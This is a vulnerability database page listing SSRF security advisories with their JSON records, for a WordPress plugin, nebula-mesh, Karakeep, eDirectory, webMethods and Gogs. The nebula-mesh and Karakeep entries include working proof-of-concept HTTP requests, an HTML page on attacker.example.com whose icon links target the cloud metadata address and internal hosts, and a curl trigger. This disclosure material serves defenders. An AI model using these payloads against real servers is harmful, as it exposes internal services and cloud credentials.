CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4810 vulnerabilities reference this CWE, most recent first.
GHSA-7RP9-PH5M-7MH4
Vulnerability from github – Published: 2026-03-04 03:31 – Updated: 2026-03-04 03:31The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.8 via the /ultp/v3/starter_dummy_post/ and /ultp/v3/starter_import_content/ REST API endpoints. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2026-1273"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-04T02:15:53Z",
"severity": "HIGH"
},
"details": "The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites \u2013 PostX plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.8 via the `/ultp/v3/starter_dummy_post/` and `/ultp/v3/starter_import_content/` REST API endpoints. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-7rp9-ph5m-7mh4",
"modified": "2026-03-04T03:31:33Z",
"published": "2026-03-04T03:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1273"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ultimate-post/tags/5.0.5/classes/Importer.php#L196"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ultimate-post/tags/5.0.5/classes/Importer.php#L261"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ultimate-post/trunk/classes/Importer.php#L196"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ultimate-post/trunk/classes/Importer.php#L261"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3469409%40ultimate-post\u0026new=3469409%40ultimate-post\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afe6d4ac-1712-415e-9995-cb7c8fe4e1a0?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RX3-5WX3-5V76
Vulnerability from github – Published: 2026-07-14 20:28 – Updated: 2026-07-14 20:28Summary
Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.
Details
internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.
internal/webhook/webhook.go:294-296:
client := d.guarded
if tgt.AllowPrivate {
client = d.unguarded
}
d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.
Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).
PoC
Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.
Step 1 — create-side bypass, as the non-admin lowpriv operator:
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}
Actual response:
HTTP/1.1 201 Created
{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}
201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.
Control — same non-admin key, same target, allow_private omitted (defaults false):
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request
{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}
Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.
Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:
RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
Same result holds for host.enrolled — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.
Step 3 — reachability oracle:
GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
HTTP/1.1 200 OK
{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...}
last_status/last_error confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.
Impact
A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.7.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/forgekeep/nebula-mesh"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:28:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nNon-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard \u2014 letting a low-privilege operator make the server request internal addresses.\n\n### Details\n\n`internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check \u2014 only ownership is enforced (`canAccessWebhookSub`), and that\u0027s not even called on create.\n\n`internal/webhook/webhook.go:294-296`:\n```go\nclient := d.guarded\nif tgt.AllowPrivate {\n client = d.unguarded\n}\n```\n`d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces.\n\nEvery other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception \u2014 introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).\n\n### PoC\n\nVerified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made \u2014 the \"internal service\" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) \u2014 the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.\n\n**Step 1 \u2014 create-side bypass, as the non-admin `lowpriv` operator:**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":true,\"events\":[\"host.enrolled\"]}\n```\n\nActual response:\n\n```\nHTTP/1.1 201 Created\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\",\"owner_operator_id\":\"a4ec02d3-c7ae-412d-a2ff-567d36315191\",\"url\":\"http://127.0.0.1:9999/internal-admin\",\"events\":[\"host.enrolled\"],\"active\":true,\"allow_private\":true,\"has_secret\":false,\"consecutive_failures\":0,\"created_at\":\"2026-07-01T13:38:22.637847+07:00\",\"updated_at\":\"2026-07-01T13:38:22.637847+07:00\"}\n```\n\n`201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: \"user\"`). No `403 Forbidden` \u2014 which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key.\n\n**Control \u2014 same non-admin key, same target, `allow_private` omitted (defaults false):**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":false}\n```\n\n```\nHTTP/1.1 400 Bad Request\n\n{\"error\":\"url: \\\"127.0.0.1\\\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink\"}\n```\n\nConfirms the guard is real and active for this exact target \u2014 `allow_private:true` in Step 1 is what disabled it.\n\n**Step 2 \u2014 delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns:\n\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\nBoth returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:\n\n```\nRECEIVED: /internal-admin {\"id\":\"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6\",\"type\":\"host.unblocked\",\"created_at\":\"2026-07-01T06:42:11.5305Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\nRECEIVED: /internal-admin {\"id\":\"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c\",\"type\":\"host.blocked\",\"created_at\":\"2026-07-01T06:42:11.543246Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\n```\n\nSame result holds for `host.enrolled` \u2014 any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.\n\n**Step 3 \u2014 reachability oracle:**\n\n```\nGET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\n```\nHTTP/1.1 200 OK\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\", ... ,\"last_delivery_at\":\"2026-07-01T13:42:11.544244+07:00\",\"last_status\":\"ok\",\"consecutive_failures\":0, ...}\n```\n\n`last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string \u2014 a reachability oracle over internal addresses. The dispatcher\u0027s delivery-recording path stores success/failure and error text only, never the target\u0027s response body.\n\n### Impact\n\nA non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests \u2014 conditional on target config, not guaranteed (IMDSv2\u0027s token requirement would block it).",
"id": "GHSA-7rx3-5wx3-5v76",
"modified": "2026-07-14T20:28:42Z",
"published": "2026-07-14T20:28:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-7rx3-5wx3-5v76"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/commit/f3c54530e388dd21763e548923426e60a8e93ff0"
},
{
"type": "PACKAGE",
"url": "https://github.com/forgekeep/nebula-mesh"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.7.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`"
}
GHSA-7RX4-C5VX-G8W3
Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-05-14 18:26Summary
The metascraper-logo-favicon plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's validateUrl() SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted <link rel="icon"> tag.
Details
Protected path (correct)
Karakeep implements comprehensive SSRF protections in apps/workers/network.ts (lines 12-222). The validateUrl() function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by fetchWithProxy() for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.
Unprotected path (vulnerability)
After fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (apps/workers/scripts/parseHtmlSubprocess.ts). Inside this subprocess, metascraper-logo-favicon (v5.49.5) extracts favicon URLs from the HTML DOM by matching <link rel="icon"> elements and reading their href attribute.
The plugin then calls reachable-url (which wraps got) to verify each extracted URL. These HTTP requests bypass validateUrl() entirely:
// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73
metascraperLogo({
gotOpts: {
agent: {
http: serverConfig.proxy.httpProxy
? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))
: undefined,
https: serverConfig.proxy.httpsProxy
? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))
: undefined,
},
},
}),
Only proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The got HTTP client makes direct requests to whatever URLs are extracted from the HTML.
Data flow
1. User creates bookmark → URL validated by validateUrl() ✓
2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓
3. HTML passed to parseHtmlSubprocess via stdin
4. metascraper-logo-favicon parses <link rel="icon"> tags from HTML
5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗
6. Server makes HTTP GET to attacker-controlled internal URL
Comparison
The application explicitly protects the main URL fetch with validateUrl() (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening ("Stricter SSRF validation" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.
PoC
1. Set up a malicious page on a public URL
<!-- Hosted at https://attacker.example.com/ssrf.html -->
<html>
<head>
<title>Innocent Page</title>
<link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256">
<link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128">
<link rel="icon" href="http://192.168.1.1/admin" sizes="64x64">
</head>
<body><p>Normal content</p></body>
</html>
2. Create a bookmark via the API
curl -X POST http://localhost:3000/api/v1/bookmarks \
-H "Authorization: Bearer YOUR_API_KEY" \
-H "Content-Type: application/json" \
-d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}'
3. Result
The main URL (https://attacker.example.com/ssrf.html) passes validateUrl() since it resolves to a public IP. After the HTML is fetched, metascraper-logo-favicon extracts the favicon URLs and calls reachable-url/got to verify them. The server makes HTTP GET requests to:
- http://169.254.169.254/latest/meta-data/ (AWS IMDS)
- http://127.0.0.1:3000/api/v1/users/whoami (localhost)
- http://192.168.1.1/admin (internal network)
These requests bypass all SSRF protections.
Verification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.
Impact
- Cloud metadata access: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g.,
http://169.254.169.254/latest/meta-data/iam/security-credentials/) which may expose IAM credentials. - Internal service discovery: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.
- Redirect-based data leak: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.
- Bypass of explicit security controls: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.
Suggested Fix
// apps/workers/scripts/parseHtmlSubprocess.ts
+ import { validateUrl } from "network";
+
+ // Create a got hook that validates URLs before requests
+ const ssrfHook = {
+ beforeRequest: [
+ async (options) => {
+ const result = await validateUrl(options.url.toString(), false);
+ if (!result.ok) {
+ throw new Error(`SSRF blocked: ${result.reason}`);
+ }
+ }
+ ]
+ };
+
metascraperLogo({
gotOpts: {
+ hooks: ssrfHook,
agent: { ... },
},
}),
Alternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "@karakeep/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T18:26:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application\u0027s `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `\u003clink rel=\"icon\"\u003e` tag.\n\n## Details\n\n### Protected path (correct)\n\nKarakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.\n\n### Unprotected path (vulnerability)\n\nAfter fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `\u003clink rel=\"icon\"\u003e` elements and reading their `href` attribute.\n\nThe plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely:\n\n```typescript\n// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73\nmetascraperLogo({\n gotOpts: {\n agent: {\n http: serverConfig.proxy.httpProxy\n ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))\n : undefined,\n https: serverConfig.proxy.httpsProxy\n ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))\n : undefined,\n },\n },\n }),\n```\n\nOnly proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML.\n\n### Data flow\n\n```\n1. User creates bookmark \u2192 URL validated by validateUrl() \u2713\n2. Page HTML fetched \u2192 via fetchWithProxy() with SSRF protection \u2713\n3. HTML passed to parseHtmlSubprocess via stdin\n4. metascraper-logo-favicon parses \u003clink rel=\"icon\"\u003e tags from HTML\n5. Plugin calls reachable-url \u2192 got.get(faviconUrl) \u2192 NO validateUrl() \u2717\n6. Server makes HTTP GET to attacker-controlled internal URL\n```\n\n### Comparison\n\nThe application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening (\"Stricter SSRF validation\" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins\u0027 internal HTTP requests are not routed through this validation.\n\n## PoC\n\n### 1. Set up a malicious page on a public URL\n\n```html\n\u003c!-- Hosted at https://attacker.example.com/ssrf.html --\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003ctitle\u003eInnocent Page\u003c/title\u003e\n \u003clink rel=\"icon\" href=\"http://169.254.169.254/latest/meta-data/\" sizes=\"256x256\"\u003e\n \u003clink rel=\"icon\" href=\"http://127.0.0.1:3000/api/v1/users/whoami\" sizes=\"128x128\"\u003e\n \u003clink rel=\"icon\" href=\"http://192.168.1.1/admin\" sizes=\"64x64\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003cp\u003eNormal content\u003c/p\u003e\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### 2. Create a bookmark via the API\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/bookmarks \\\n -H \"Authorization: Bearer YOUR_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"type\": \"link\", \"url\": \"https://attacker.example.com/ssrf.html\"}\u0027\n```\n\n### 3. Result\n\nThe main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to:\n- `http://169.254.169.254/latest/meta-data/` (AWS IMDS)\n- `http://127.0.0.1:3000/api/v1/users/whoami` (localhost)\n- `http://192.168.1.1/admin` (internal network)\n\nThese requests bypass all SSRF protections.\n\nVerification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.\n\n## Impact\n\n- **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials.\n- **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.\n- **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark\u0027s logo field and visible to the attacker.\n- **Bypass of explicit security controls**: The application\u0027s SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.\n\n## Suggested Fix\n\n```diff\n// apps/workers/scripts/parseHtmlSubprocess.ts\n+ import { validateUrl } from \"network\";\n+\n+ // Create a got hook that validates URLs before requests\n+ const ssrfHook = {\n+ beforeRequest: [\n+ async (options) =\u003e {\n+ const result = await validateUrl(options.url.toString(), false);\n+ if (!result.ok) {\n+ throw new Error(`SSRF blocked: ${result.reason}`);\n+ }\n+ }\n+ ]\n+ };\n+\n metascraperLogo({\n gotOpts: {\n+ hooks: ssrfHook,\n agent: { ... },\n },\n }),\n```\n\nAlternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).",
"id": "GHSA-7rx4-c5vx-g8w3",
"modified": "2026-05-14T18:26:02Z",
"published": "2026-05-14T18:26:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/karakeep-app/karakeep/security/advisories/GHSA-7rx4-c5vx-g8w3"
},
{
"type": "WEB",
"url": "https://github.com/karakeep-app/karakeep/pull/2763"
},
{
"type": "WEB",
"url": "https://github.com/karakeep-app/karakeep/commit/3dc321e7d49aa3a1a2493637fb2ee21616fe5fd9"
},
{
"type": "PACKAGE",
"url": "https://github.com/karakeep-app/karakeep"
},
{
"type": "WEB",
"url": "https://github.com/karakeep-app/karakeep/releases/tag/v0.32.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections"
}
GHSA-7V38-XC68-49J2
Vulnerability from github – Published: 2024-09-12 15:33 – Updated: 2024-09-18 21:30Possible External Service Interaction attack
in eDirectory has been discovered in OpenText™ eDirectory. This impact all version before 9.2.6.0000.
{
"affected": [],
"aliases": [
"CVE-2021-38132"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-12T13:15:10Z",
"severity": "MODERATE"
},
"details": "Possible \nExternal Service Interaction attack\n\nin eDirectory has been discovered in\nOpenText\u2122 eDirectory. This impact all version before\u00a09.2.6.0000.",
"id": "GHSA-7v38-xc68-49j2",
"modified": "2024-09-18T21:30:45Z",
"published": "2024-09-12T15:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38132"
},
{
"type": "WEB",
"url": "https://www.netiq.com/documentation/edirectory-92/edirectory926_releasenotes/data/edirectory926_releasenotes.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7V43-W3V8-WWV7
Vulnerability from github – Published: 2026-05-26 18:31 – Updated: 2026-05-26 18:31IBM webMethods Integration (on prem) -Integration Server 10.15 through IS_10.15_Core_Fix2611.1 to IS_11.1_Core_Fix10 IBM webMethods Integration is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2025-14290"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-26T17:16:28Z",
"severity": "MODERATE"
},
"details": "IBM webMethods Integration (on prem) -Integration Server 10.15 through IS_10.15_Core_Fix2611.1 to IS_11.1_Core_Fix10 IBM webMethods Integration is vulnerable to server-side request forgery (SSRF). This may allow an authenticated\u00a0attacker to send unauthorized requests from the system, potentially leading to network enumeration or\u00a0facilitating other attacks.",
"id": "GHSA-7v43-w3v8-wwv7",
"modified": "2026-05-26T18:31:44Z",
"published": "2026-05-26T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14290"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7273550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7V5R-R995-Q2X2
Vulnerability from github – Published: 2022-03-12 00:00 – Updated: 2022-03-24 23:23Gogs is a self-hosted Git service. The malicious user is able to discover services in the internal network through repository migration functionality. All installations accepting public traffic are affected. Internal network CIDRs are prohibited to be used as repository migration targets. Users should upgrade to 0.12.5 or the latest 0.13.0+dev. Gogs should be ran in its own private network until users can update.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
